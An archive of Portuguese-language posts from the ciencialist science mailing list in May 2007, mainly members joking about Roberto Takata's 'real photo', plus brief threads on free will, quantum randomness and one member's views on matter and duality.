Knowledge Acquisition Terabyte Apparatus"...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 18, 2007 5:14 PM
Subject: Re: [ciencialist] Minha foto


Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou
anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma
modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
(risos)

Abrs,

Sardeiro



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto


A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata






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SUBJECT: Re: [ciencialist] Minha foto
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 18:17

No doubts at all!

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 5:55 PM
Subject: Re: [ciencialist] Minha foto


Por que ele não se apresenta? Ora, eu já respondi isso aqui várias vezes.
T.A.K.A.T.A., na verdade é a sigla de um super sistema especialista,
escondido nos subterrâneos da USP, e que significa "Tantalizing Amazing
Knowledge Acquisition Terabyte Apparatus"...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 18, 2007 5:14 PM
Subject: Re: [ciencialist] Minha foto

Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou
anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma
modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
(risos)

Abrs,

Sardeiro

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto

A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata

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SUBJECT: Re: [ciencialist] Minha foto
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 18:55

E já te digo pq não duvido, Alvaro!

Houve uma época quando o grupo de Ciências Cognitivas da USP estava no seu auge, que um dos meus professores de Termologia deixou-me entender que estavam desenvolvendo um grande projeto com Inteligência Artificial.

Nunca soube do que se tratava especificamente.

Hoje os Chatterbots estão espalhados por toda a Internet e, principalmente em alguns aspectos silogisticos, eles funcionam muito bem. Todavia falham no que consideramos "bom-senso".

Se T.A.K.A.T.A. for um Chtterbot especializado, ele não conseguirá por exemplo, responder perguntas mais ou menos parecidas com "Vc se acha bonito?", "Com quem vc é parecido?" ou algo similar.

Acaba parecendo uma piada.... (risos)

Abrs,

Sardeiro





----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 6:17 PM
Subject: Re: [ciencialist] Minha foto


No doubts at all!

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 5:55 PM
Subject: Re: [ciencialist] Minha foto

Por que ele não se apresenta? Ora, eu já respondi isso aqui várias vezes.
T.A.K.A.T.A., na verdade é a sigla de um super sistema especialista,
escondido nos subterrâneos da USP, e que significa "Tantalizing Amazing
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Alvaro Augusto

----- Original Message -----
From: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, May 18, 2007 5:14 PM
Subject: Re: [ciencialist] Minha foto

Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou
anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma
modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
(risos)

Abrs,

Sardeiro

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto

A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata

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Esta mensagem foi verificada pelo E-mail Protegido Terra.
Scan engine: McAfee VirusScan / Atualizado em 18/05/2007 / Versão:
5.1.00/5034
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[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 18:57

Olá, Manuel.

> Não há fenômeno sem causa, no entanto...
> Existem equações não lineares que possuem um conjunto de "n"
soluções
> possíveis. De modo semelhante, no mundo subatômico e no reino dos
> sistemas complexos, as causas produzem diversas possibilidades de
> efeitos. Qual dos efeitos se realizará, isso é contingente.

Isso é muito estranho. Não há nada que defina qual dos efeitos se
realizará, mas um dos efeitos se realiza. Por que um, e não o outro?
Não entendo.

> Sabe-se que um isótopo instável decairá e que ele tem uma meia-
vida,
> porém, é impossível se saber o momento exato em que se dará o seu
> decaimento.

Esse é um dos mais famosos exemplos de fenômenos aleatórios. Mas ele
não é completamente aleatório, tanto que podemos falar da meia-vida
dos diferentes elementos. Pegando-se um átomo isolado, não se sabe
quando ele vai decair, mas acredito que isso é apenas uma limitação
de nossa ciência, que não conseguiu penetrar nas fundações da
realidade e identificar as causas desse fenômeno. Estou convencido de
que o quark e o elétron não são partículas fundamentais. Eles têm uma
estrutura que pode ser bem complexa. Caso contrário, como é que eles
apresentam todas aquelas propriedades que eles têm?

> Vale dizer, a relação entre a causa e seu conjunto de efeitos
> possíveis {x, y, k} é "necessária". Entretanto, a relação dessa
mesma
> causa com cada elemento desse conjunto considerado isoladamente, x,
y
> ou k, é contingente.

> Deu pra entender? :-)

Me desculpe, mas não entendo. Mas esta é justamente a definição de
acaso. O acaso é aquilo que não dá para entender. Entender um
fenômeno é identificar suas causas. Se essas causas não existem, o
fenômeno não pode ser entendido. Eu acho, porém, que tudo pode ser
entendido, com exceção, talvez, de alguma coisainha fundamental que
esteja nas fundações de toda a existência. Em especial, eu acredito
que a experiência subjetiva não pode ser entendida, pois não vejo
como seria possível estabelecer uma ponte, uma relação causal, entre
o objetivo e o subjetivo. Sendo assim talvez a experiência subjetiva
seja uma propriedade fundamental da existência. Você falou há alguns
dias de informação. Se a experiência subjetiva for feita de
informação, talvez a informação seja algo fundamental; um fenômeno no
qual não existem causas. Mas a maior parte dos fenômenos,
praticamente todos, eu diria, podem ser entendidos, incluindo o
decaimento dos núcleos instáveis. Eu tenho esta convicção profunda de
que Deus não joga dados.

Saudações,
João de Carvalho




SUBJECT: Re: [ciencialist] Minha foto
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 00:56

SARDEIRO:

Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser diferente e que existem diversos clones distribuidos principalmente entre políticos e juizes.

CORDEIRO

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 5:14 PM
Subject: Re: [ciencialist] Minha foto


Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma modificado, criado em laboratório, tal qual o monstro do Dr Frankstein. (risos)

Abrs,

Sardeiro

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto

A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata

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Scan engine: McAfee VirusScan / Atualizado em 18/05/2007 / Versão: 5.1.00/5034
Proteja o seu e-mail Terra: http://mail.terra.com.br/

[As partes desta mensagem que não continham texto foram removidas]






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Internal Virus Database is out-of-date.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.8/800 - Release Date: 11/5/2007 19:34


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Quem quer ir para o outro lado?
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 07:44

Lista,

Calma, não é para o outro lado da vida. Mas seria também uma viagem só de
ida.

Refiro-me ao conhecimento de certas coisas que podem

existir, conforme previsto por ela, a TRG. Ao menos, algumas investigações
apontam

para a solução do crime. É o que dizem os detetives, em:



http://www.uma.pt/Investigacao/Astro/Grupo/Divulgacao/Cursos/Sa2004_bns/viag
em2004.pdf



Vale a pena a leitura. Até pelas imagens fantásticas. O artigo do Laurindo
remete a eventuais sins e nãos.

En passant: Se o céu for daquele jeito, aí dos virtuosos que

para lá forem, pois torrados eternamente serão.



Sds,Victor.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Minha foto
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 09:29

Embora o comentário a seguir possa ser considerado irrelevante, nada me
custa fazê-lo, em vista da citação, do Sardeiro:

“Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
pública? Se for, é um motivo compreensível...”



Entendo que, numa lista de discussão desse tipo o que menos importa, ou não
importa absolutamente é:



Aspecto físico, se deficiente ou não, bonito(a) ou feio(a), idade, cor ou
outro atributo qualquer, que não

seja a mente e sua capacidade de informar, receber informações, concordar,
discordar, argumentar, enfim.



Mas esta é apenas minha opinião; nada contra quem a tenha de maneira
diversa.

Agora, que concordo com

“Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
diferente e que existem diversos clones distribuidos principalmente entre
políticos e juizes.”,

Isso lá concordo. E muito.



Sds,

Victor.






De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Silvio Cordeiro
Enviada em: sábado, 19 de maio de 2007 00:57
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Minha foto



SARDEIRO:

Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
diferente e que existem diversos clones distribuidos principalmente entre
políticos e juizes.

CORDEIRO

----- Original Message -----
From: Eduardo Sardeiro
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Friday, May 18, 2007 5:14 PM
Subject: Re: [ciencialist] Minha foto

Não consegui ver nada, Takata. Este site está indisponível!

Por acaso, essa foto é parecida com a foto do gorila que vc informou
anteriormente (http://tinyurl.com/pha3k) (msg 56765)?

Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
pública? Se for, é um motivo compreensível...

Bom, de qualquer forma, já estou achando que vc é um ser com genoma
modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
(risos)

Abrs,

Sardeiro

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>

Sent: Friday, May 18, 2007 3:42 PM
Subject: [ciencialist] Minha foto

A minha verdadeira foto:

http://tinyurl.com/2qklda

Como podem ver sou um nipônico típico (se bem me lembro nesta foto
estou visitando Tóquio).

[]s,

Roberto Takata

----------------------------------------------------------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Minha foto
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 12:35

O Takata não é deficiente, e do que sei, também não é um ET. Claro que
se ele fosse tão bem apessoado (homem não é bonito, é bem apessoado)
quanto é inteligente, estaria fazendo novelas com mensagens
científicas subliminares.

Já o Brudna poderia passar por Ashtar Sheran, ele mesmo reconhece huehehehe

Mori

On 5/19/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
>
>
>
>
>
> Embora o comentário a seguir possa ser considerado irrelevante, nada me
> custa fazê-lo, em vista da citação, do Sardeiro:
>
> "Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> pública? Se for, é um motivo compreensível..."
>
> Entendo que, numa lista de discussão desse tipo o que menos importa, ou não
> importa absolutamente é:
>
> Aspecto físico, se deficiente ou não, bonito(a) ou feio(a), idade, cor ou
> outro atributo qualquer, que não
>
> seja a mente e sua capacidade de informar, receber informações, concordar,
> discordar, argumentar, enfim.
>
> Mas esta é apenas minha opinião; nada contra quem a tenha de maneira
> diversa.
>
> Agora, que concordo com
>
> "Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> diferente e que existem diversos clones distribuidos principalmente entre
> políticos e juizes.",
>
> Isso lá concordo. E muito.
>
> Sds,
>
> Victor.
>
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Silvio Cordeiro
> Enviada em: sábado, 19 de maio de 2007 00:57
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Minha foto
>
> SARDEIRO:
>
> Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> diferente e que existem diversos clones distribuidos principalmente entre
> políticos e juizes.
>
> CORDEIRO
>
> ----- Original Message -----
> From: Eduardo Sardeiro
> To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
>
> Sent: Friday, May 18, 2007 5:14 PM
> Subject: Re: [ciencialist] Minha foto
>
> Não consegui ver nada, Takata. Este site está indisponível!
>
> Por acaso, essa foto é parecida com a foto do gorila que vc informou
> anteriormente (http://tinyurl.com/pha3k) (msg 56765)?
>
> Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> pública? Se for, é um motivo compreensível...
>
> Bom, de qualquer forma, já estou achando que vc é um ser com genoma
> modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
> (risos)
>
> Abrs,
>
> Sardeiro
>
> ----- Original Message -----
> From: rmtakata
>
> To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
>
> Sent: Friday, May 18, 2007 3:42 PM
> Subject: [ciencialist] Minha foto
>
> A minha verdadeira foto:
>
> http://tinyurl.com/2qklda
>
> Como podem ver sou um nipônico típico (se bem me lembro nesta foto
> estou visitando Tóquio).
>
> []s,
>
> Roberto Takata


SUBJECT: A verdadeira foto do Takata
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 12:39

Querem saber quem é mesmo o cara? Eis a sua verdadeira imagem, e sejam
bem-vindos ao deserto da realidade.

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=3

[]s
Manuel Bulcão



SUBJECT: Re: [ciencialist] Minha foto
FROM: ivanildo ximenes <icximenes@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 12:47

Certas brincadeiras termina em desrespeito aos outros.
Quem associa deficiente a beleza não possui censo critico.
Aconselho aos senhores que acabem com esta brincadeira de péssimo gosto.

Ivanildo Ximenes

Kentaro Mori <kentaro.mori@gmail.com> escreveu: O Takata não é deficiente, e do que sei, também não é um ET. Claro que
se ele fosse tão bem apessoado (homem não é bonito, é bem apessoado)
quanto é inteligente, estaria fazendo novelas com mensagens
científicas subliminares.

Já o Brudna poderia passar por Ashtar Sheran, ele mesmo reconhece huehehehe

Mori

On 5/19/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
>
>
>
>
>
> Embora o comentário a seguir possa ser considerado irrelevante, nada me
> custa fazê-lo, em vista da citação, do Sardeiro:
>
> "Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> pública? Se for, é um motivo compreensível..."
>
> Entendo que, numa lista de discussão desse tipo o que menos importa, ou não
> importa absolutamente é:
>
> Aspecto físico, se deficiente ou não, bonito(a) ou feio(a), idade, cor ou
> outro atributo qualquer, que não
>
> seja a mente e sua capacidade de informar, receber informações, concordar,
> discordar, argumentar, enfim.
>
> Mas esta é apenas minha opinião; nada contra quem a tenha de maneira
> diversa.
>
> Agora, que concordo com
>
> "Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> diferente e que existem diversos clones distribuidos principalmente entre
> políticos e juizes.",
>
> Isso lá concordo. E muito.
>
> Sds,
>
> Victor.
>
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Silvio Cordeiro
> Enviada em: sábado, 19 de maio de 2007 00:57
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Minha foto
>
> SARDEIRO:
>
> Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> diferente e que existem diversos clones distribuidos principalmente entre
> políticos e juizes.
>
> CORDEIRO
>
> ----- Original Message -----
> From: Eduardo Sardeiro
> To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
>
> Sent: Friday, May 18, 2007 5:14 PM
> Subject: Re: [ciencialist] Minha foto
>
> Não consegui ver nada, Takata. Este site está indisponível!
>
> Por acaso, essa foto é parecida com a foto do gorila que vc informou
> anteriormente (http://tinyurl.com/pha3k) (msg 56765)?
>
> Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> pública? Se for, é um motivo compreensível...
>
> Bom, de qualquer forma, já estou achando que vc é um ser com genoma
> modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
> (risos)
>
> Abrs,
>
> Sardeiro
>
> ----- Original Message -----
> From: rmtakata
>
> To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
>
> Sent: Friday, May 18, 2007 3:42 PM
> Subject: [ciencialist] Minha foto
>
> A minha verdadeira foto:
>
> http://tinyurl.com/2qklda
>
> Como podem ver sou um nipônico típico (se bem me lembro nesta foto
> estou visitando Tóquio).
>
> []s,
>
> Roberto Takata




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SUBJECT: Re: [ciencialist] Minha foto
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 12:58

O que escrevi não implica em nenhuma ofensa a deficientes. Muito menos
o que o Victor escreveu.

Só notei que o Takata não é deficiente. Mas entendo que deveria ter me
expressado de forma mais clara, ou talvez nem ter me expressado.

Mori

On 5/20/07, ivanildo ximenes <icximenes@yahoo.com.br> wrote:
> Certas brincadeiras termina em desrespeito aos outros.
> Quem associa deficiente a beleza não possui censo critico.
> Aconselho aos senhores que acabem com esta brincadeira de péssimo gosto.
>
> Ivanildo Ximenes
>
> Kentaro Mori <kentaro.mori@gmail.com> escreveu: O Takata não é deficiente, e do que sei, também não é um ET. Claro que
>
> se ele fosse tão bem apessoado (homem não é bonito, é bem apessoado)
> quanto é inteligente, estaria fazendo novelas com mensagens
> científicas subliminares.
>
> Já o Brudna poderia passar por Ashtar Sheran, ele mesmo reconhece huehehehe
>
> Mori
>
> On 5/19/07, J.Victor <j.victor.neto@uol.com.br> wrote:
> >
> >
> >
> >
> >
> >
> > Embora o comentário a seguir possa ser considerado irrelevante, nada me
> > custa fazê-lo, em vista da citação, do Sardeiro:
> >
> > "Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> > pública? Se for, é um motivo compreensível..."
> >
> > Entendo que, numa lista de discussão desse tipo o que menos importa, ou não
> > importa absolutamente é:
> >
> > Aspecto físico, se deficiente ou não, bonito(a) ou feio(a), idade, cor ou
> > outro atributo qualquer, que não
> >
> > seja a mente e sua capacidade de informar, receber informações, concordar,
> > discordar, argumentar, enfim.
> >
> > Mas esta é apenas minha opinião; nada contra quem a tenha de maneira
> > diversa.
> >
> > Agora, que concordo com
> >
> > "Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> > diferente e que existem diversos clones distribuidos principalmente entre
> > políticos e juizes.",
> >
> > Isso lá concordo. E muito.
> >
> > Sds,
> >
> > Victor.
> >
> >
> > De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> > Em nome de Silvio Cordeiro
> > Enviada em: sábado, 19 de maio de 2007 00:57
> > Para: ciencialist@yahoogrupos.com.br
> > Assunto: Re: [ciencialist] Minha foto
> >
> > SARDEIRO:
> >
> > Em verdade o Dr. Frankstein não criou um monstro: era apenas um ser
> > diferente e que existem diversos clones distribuidos principalmente entre
> > políticos e juizes.
> >
> > CORDEIRO
> >
> > ----- Original Message -----
> > From: Eduardo Sardeiro
> > To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
> >
> > Sent: Friday, May 18, 2007 5:14 PM
> > Subject: Re: [ciencialist] Minha foto
> >
> > Não consegui ver nada, Takata. Este site está indisponível!
> >
> > Por acaso, essa foto é parecida com a foto do gorila que vc informou
> > anteriormente (http://tinyurl.com/pha3k) (msg 56765)?
> >
> > Ainda não entendi pq vc não se apresenta... É para não desgastar sua imagem
> > pública? Se for, é um motivo compreensível...
> >
> > Bom, de qualquer forma, já estou achando que vc é um ser com genoma
> > modificado, criado em laboratório, tal qual o monstro do Dr Frankstein.
> > (risos)
> >
> > Abrs,
> >
> > Sardeiro
> >
> > ----- Original Message -----
> > From: rmtakata
> >
> > To: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
> >
> > Sent: Friday, May 18, 2007 3:42 PM
> > Subject: [ciencialist] Minha foto
> >
> > A minha verdadeira foto:
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> > http://tinyurl.com/2qklda
> >
> > Como podem ver sou um nipônico típico (se bem me lembro nesta foto
> > estou visitando Tóquio).
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> > []s,
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> > Roberto Takata
>
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>


SUBJECT: Re: Minha foto
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 13:36

--- Em ciencialist@yahoogrupos.com.br, ivanildo ximenes
<icximenes@...> escreveu

> Certas brincadeiras termina em desrespeito aos outros. Quem associa
deficiente a beleza não possui censo critico. Aconselho aos senhores
que acabem com esta brincadeira de péssimo gosto.

Manuel: Ô Ivanildo, não seja tão politicamente correto, rapaz.

A minha desconfiança de que o Takata é um supercomputador quântico
não é a toa. Surgiu do seguinte fato. Certa vez, eu passei uma
madrugada inteira escrevendo uma resposta a uma mensagem do Takata,
das duas horas da matina as sete e meia da manhã (fiz tantas
pesquisas que a minha biblioteca, que tem mais de mil livros, ficou
uma bagunça). Postei-a na lista, fui à cozinha tomar uma abacatada e
comer dois ovos estrelados. Quando acessei novamente a Ciencialist -
cerca de meia hora depois -, o Takata já tinha apresentado a
tréplica: uma mensagem enorme, maior e com mais informações que a
minha e com uma estrutura lógica indefectível. Logo pensei: "Pôrra,
isso não é humano!". :-)

Agora, apresento a vocês uma foto minha com meus dois filho (link
abaixo). Eu e o Russell Crowe temos a mesma idade (43 anos), mas ele
não tem a "cara de macho" que é o meu maior charme. A bicuda do lado
esquerdo da foto é a Lígia, minha filha aborrecente de 13 anos. O
moleque sentado à minha direita, com um sorriso "superespontâneo", é
o Ulisses (onze aninhos). Ulisses é portador de síndrome de kanner. É
uma criança linda - apesar de não querer cortar cabelo -, lê tudo,
escreve, faz cálculos matemáticos, opera muito bem n computador e até
navega pela internet. No entanto, quase não fala. É, a mente humana é
um mistério.

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
b=5&m=s&o=0

Abraços,
Manuel Bulcão
PS.: desculpem-me o off-topic, mas é porque os conheço a tanto tempo
que às vezes me dá vontade de travar uma conversa mais informal, um
papo entre amigos em que cabe até piadas pesadas.





SUBJECT: Ops!/Re: Minha foto
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 13:52

Ops,

Ao clicar no link, depara-se com a veeeelha foto em que eu domino uma
temerária anaconda

A foto que quero mostrar é a quinta foto do meu álbum. Clique no link
e depois no "próxima", "próxima", "próxima" e "próxima".

Abraços,
Manuel Bulcão

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
b=5&m=s&o=0
--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, ivanildo ximenes
> <icximenes@> escreveu
>
> > Certas brincadeiras termina em desrespeito aos outros. Quem
associa
> deficiente a beleza não possui censo critico. Aconselho aos
senhores
> que acabem com esta brincadeira de péssimo gosto.
>
> Manuel: Ô Ivanildo, não seja tão politicamente correto, rapaz.
>
> A minha desconfiança de que o Takata é um supercomputador quântico
> não é a toa. Surgiu do seguinte fato. Certa vez, eu passei uma
> madrugada inteira escrevendo uma resposta a uma mensagem do Takata,
> das duas horas da matina as sete e meia da manhã (fiz tantas
> pesquisas que a minha biblioteca, que tem mais de mil livros, ficou
> uma bagunça). Postei-a na lista, fui à cozinha tomar uma abacatada
e
> comer dois ovos estrelados. Quando acessei novamente a Ciencialist -

> cerca de meia hora depois -, o Takata já tinha apresentado a
> tréplica: uma mensagem enorme, maior e com mais informações que a
> minha e com uma estrutura lógica indefectível. Logo pensei: "Pôrra,
> isso não é humano!". :-)
>
> Agora, apresento a vocês uma foto minha com meus dois filho (link
> abaixo). Eu e o Russell Crowe temos a mesma idade (43 anos), mas
ele
> não tem a "cara de macho" que é o meu maior charme. A bicuda do
lado
> esquerdo da foto é a Lígia, minha filha aborrecente de 13 anos. O
> moleque sentado à minha direita, com um sorriso "superespontâneo",
é
> o Ulisses (onze aninhos). Ulisses é portador de síndrome de kanner.
É
> uma criança linda - apesar de não querer cortar cabelo -, lê tudo,
> escreve, faz cálculos matemáticos, opera muito bem n computador e
até
> navega pela internet. No entanto, quase não fala. É, a mente humana
é
> um mistério.
>
> http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
> b=5&m=s&o=0

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?
b=5&m=s&o=0
>
> Abraços,
> Manuel Bulcão
> PS.: desculpem-me o off-topic, mas é porque os conheço a tanto
tempo
> que às vezes me dá vontade de travar uma conversa mais informal, um
> papo entre amigos em que cabe até piadas pesadas.
>




SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 14:14

Olá Takata!

Takata >>> Pra não falarem q não tenho boa vontade. A
placa NÃO é vazia de piscina. Ela é feita do *mesmo*
material q compõem a parede da piscina.

--- Takata, a questão do vazio e do cheio, a questão
da separação, é a questão da dualidade. E a dualidade
é uma criação metal, não uma realidade. A realidade é
indivisivel. A questão da dualidade, tal qual estamos
debatendo no exemplo do espaço vazio e do espaço cheio
(matéria), é apenas um dos muitos exemplos que podemos
usar para abordar a questão. Caimos neste exemplo
porque, pra vc, ciencia é sinonimo de fisica e a
fisica contrapoe um espaço cheio (particula) a um
espaço vazio. Mas o vazio absoluto não existe. Espaço
cheio e espaço vazio é uma questão de cognição. Fazer
ciencia é decodificar a realidade e não ver a
realidade de forma direta.

--- No seu exemplo da piscina, mesmo que voce colocar
uma placa de gelo no meio da piscina, vc estará
colocando um cheio no meio do vazio, ou um vazio no
meio do cheio. Só dependerá de qual vc determinar como
um e outro. Mas não tem jeito, vai ser sempre um no
outro. Não tem como ser um no mesmo um, entende?

--- A água da piscina e o gelo são a mesma substancia,
mas não são o mesmo fenomeno, percebe? Este é o ponto.
Pra dividir o igual vc tem que colocar um diferente no
meio. Não tem outro jeito. Não dá pra dividir a água
da piscina com a água da piscina. Igual não divide
igual. Vc precisa de um fenomeno diferente pra dividir
o igual, percebe isto?

--- O que estou dizendo, desde o começo da nossa
conversa, é que a matéria (em si) é a base dos
fenomenos. Ela está "dividida" em diversos fenomenos
de manifestação que é o que observamos e conhecemos
dela, mas a matéria (em si) é incognicivel e
indivisivel.

--- Vale notar que os fenomenos que observamos dizem
respeito ao comportamento da matéria e não a matéria
(em si). Não vemos a matéria. Vemos sua manisfestação.
É da observação da sua manisfestação que criamos
"teoria" sobre ela. A fisica tem a teoria de que a
matéria é toda dividida em particulas, mas isto porque
a fisica não leva em conta que a divisão (cheio e
vazio), a dualidade como a qual a realidade se
apresenta a nossa consciencia, é uma criação mental e
não uma realidade.

--- Por fim, estou dizendo que este comportamento da
matéria é um pulsar. Ou seja, este fenomeno que
chamamos de vida, e que é a essencia de todos os
fenomenos, é o pulsar universal da matéria
indivisivel.




sinceramente
ferrari



EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: O verdadeiro ABC da ciência ::: (artigo)
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DATE: 19/05/2007 14:58

O VERDADEIRO ABC DA CIENCIA - por ferrari
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Como pode a aplicação do método cientifico no próprio
cientista levá-lo ao verdadeiro ABC da ciência?
Simples, a cognição humana é a base da ciência humana.
O processo da intelectualização da realidade é a
semente da qual brotam todos os conhecimentos
científicos sobre a realidade. Quando um cientista
compreende a semente do conhecimento cientifico (a
cognição), todos os frutos da árvore do conhecimento
estão essencialmente incluídos.



